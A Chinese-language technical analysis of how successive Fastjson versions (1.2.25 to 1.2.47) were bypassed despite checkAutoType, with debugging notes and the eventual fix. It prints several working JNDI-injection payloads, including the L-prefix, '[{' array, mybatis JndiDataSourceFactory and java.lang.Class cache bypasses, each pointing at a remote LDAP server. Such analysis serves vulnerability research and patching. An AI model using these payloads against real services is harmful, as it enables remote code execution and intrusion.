在Fastjson1.2.25中使用了checkAutoType来修复1.2.22-1.2.24中的漏洞,其中有个autoTypeSupport默认为False。当autoTypeSupport为False时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当autoTypeSupport为True时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。
这里需要使用如下代码开启AutoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
payload:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
可以看到在类名前面加了一个L,可以绕过黑名单
在checkAutoType里面进行了一系列获取clazz的操作
因为这个typeName是不存在的所以一直不能获取返回null,最后loadClass
跟进TypeUtils.loadClass
这里去除开头的L
以及末尾的;
得到newClassName然后loadClass,这样就绕过了CheckAutoType的检查
从1.2.42版本开始,在ParserConfig.java中可以看到黑名单改为了哈希黑名单,目的是防止对黑名单进行分析绕过,目前已经破解出来的黑名单见:https://github.com/LeadroyaL/fastjson-blacklist
在1.2.22-1.2.42版本运行都能成功触发
payload:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
在CheckAutoType里面增加了一次对className的提取操作,所以我们再写一对L
和;
来绕过黑名单
在TypeUtils.loadClass里面再进行一次提取操作,但是这里进行提取操作的是typeName
所以最后还是得到Lcom.sun.rowset.JdbcRowSetImpl;
,那怎么加载的呢,调试发现程序会循环调用自身的loadClass以得到正常的类
这样就可以正常的loadClass了
1.2.43在checkAutoType里面添加了如下代码,连续出现两个L会抛出异常
所以就不能用L来绕过,注意到如果开头为[也会有对应操作,代码如下
尝试一下如下payload
{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
有如下报错
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:675)
at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:183)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:373)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)
at com.alibaba.fastjson.JSON.parse(JSON.java:152)
at com.alibaba.fastjson.JSON.parse(JSON.java:162)
at com.alibaba.fastjson.JSON.parse(JSON.java:131)
at NEW_JNDIClient.main(NEW_JNDIClient.java:8)
提示说希望在42列处加一个[号,刚好那个位置是第一个逗号,于是在前面添加一个[
payload如下
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
现在报错如下
Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:451)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:1261)
at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:267)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:729)
at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:183)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:373)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)
at com.alibaba.fastjson.JSON.parse(JSON.java:152)
at com.alibaba.fastjson.JSON.parse(JSON.java:162)
at com.alibaba.fastjson.JSON.parse(JSON.java:131)
at NEW_JNDIClient.main(NEW_JNDIClient.java:8)
报错说希望在43列有一个{,那么就在[后加一个{
payload如下
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
成功触发漏洞
进入当开头为[的判断
通过Array.newInstance().getClass()来获取并返回类
然后调用ObjectDeserializer#deserialze
然后调用parseArray对数组进行处理,这里也就是上面报错出现的地方
其中的if语句会判断字符串里面是否有[和{符号等,一一满足就行
需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本
payload:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}
可以发现checkAutoType中添加了针对[的检测,如果第一个字符为[直接抛出异常
由于org.apache.ibatis.datasource.jndi.JndiDataSourceFactory不在黑名单中,所以直接能绕过checkAutoType的检测
看看setter方法
可以看到lookup里面的值是通过我们传入的data_source得到了所以造成了JNDI注入
因为在checkAutoType里面有如下判断
如果不开启就不会通过这个判断从而抛出异常
漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测
这里有两个版本段:
poc:
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true } }
这里使用1.2.47复现
因为未开启AutoTypeSupport,所以就不会进入黑白名单判断的逻辑
因为type的值是java.lang.Class
,所以在findClass可以找到,最后返回clazz,接着会进入MiscCodec#deserialze,直接到最关键的地方
这里使用了TypeUtils.loadClass函数加载了strVal,也就是JdbcRowSetlmpl,跟进发现会将其缓存在map中
第二次解析时调用TypeUtils.getClassFromMapping()时能够成功从Map中获取到缓存的类,然后return返回从而成功绕过checkAutoType()检测
由于开启了AutoTypeSupport,所以会进行黑白名单判断,而第一次解析时@type值为java.lang.Class所以都能通过,最后通过findClass函数获取到Class类
第二次解析时@type值就成了com.sun.rowset.JdbcRowSetImpl,那怎么绕过黑白名单的呢,黑名单禁止了com.sun
黑白名单判断的逻辑是先进行白名单再进行黑名单校验,在黑名单校验的if判断条件中是存在两个必须同时满足的条件的:
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null)
第一个判断条件Arrays.binarySearch(denyHashCodes, hash) >= 0
是满足的,因为我们的@type包含了黑名单的内容;关键在于第二个判断条件TypeUtils.getClassFromMapping(typeName) == null
,这里由于前面已经将com.sun.rowset.JdbcRowSetImpl类缓存在Map中了,也就是说该条件并不满足,导致能够成功绕过黑名单校验、成功触发漏洞。
逻辑和上面不受AutoTypeSupport影响的版本开启AutoTypeSupport时一样,就是黑名单判断逻辑里面少了一个TypeUtils.getClassFromMapping(typeName) == null
导致可以进入黑名单判断,因为com.sun属于黑名单里面的内容,所以利用失败
和上面不受影响版本未开启AutoTypeSupport时差不多
在loadClass时,将缓存开关默认设置为False,所以就不会通过缓存的判断。同时将Class类加入黑名单
https://p0rz9.github.io/2019/07/15/Fastjson%E6%96%B0%E7%89%88%E6%9C%AC%E5%88%86%E6%9E%90/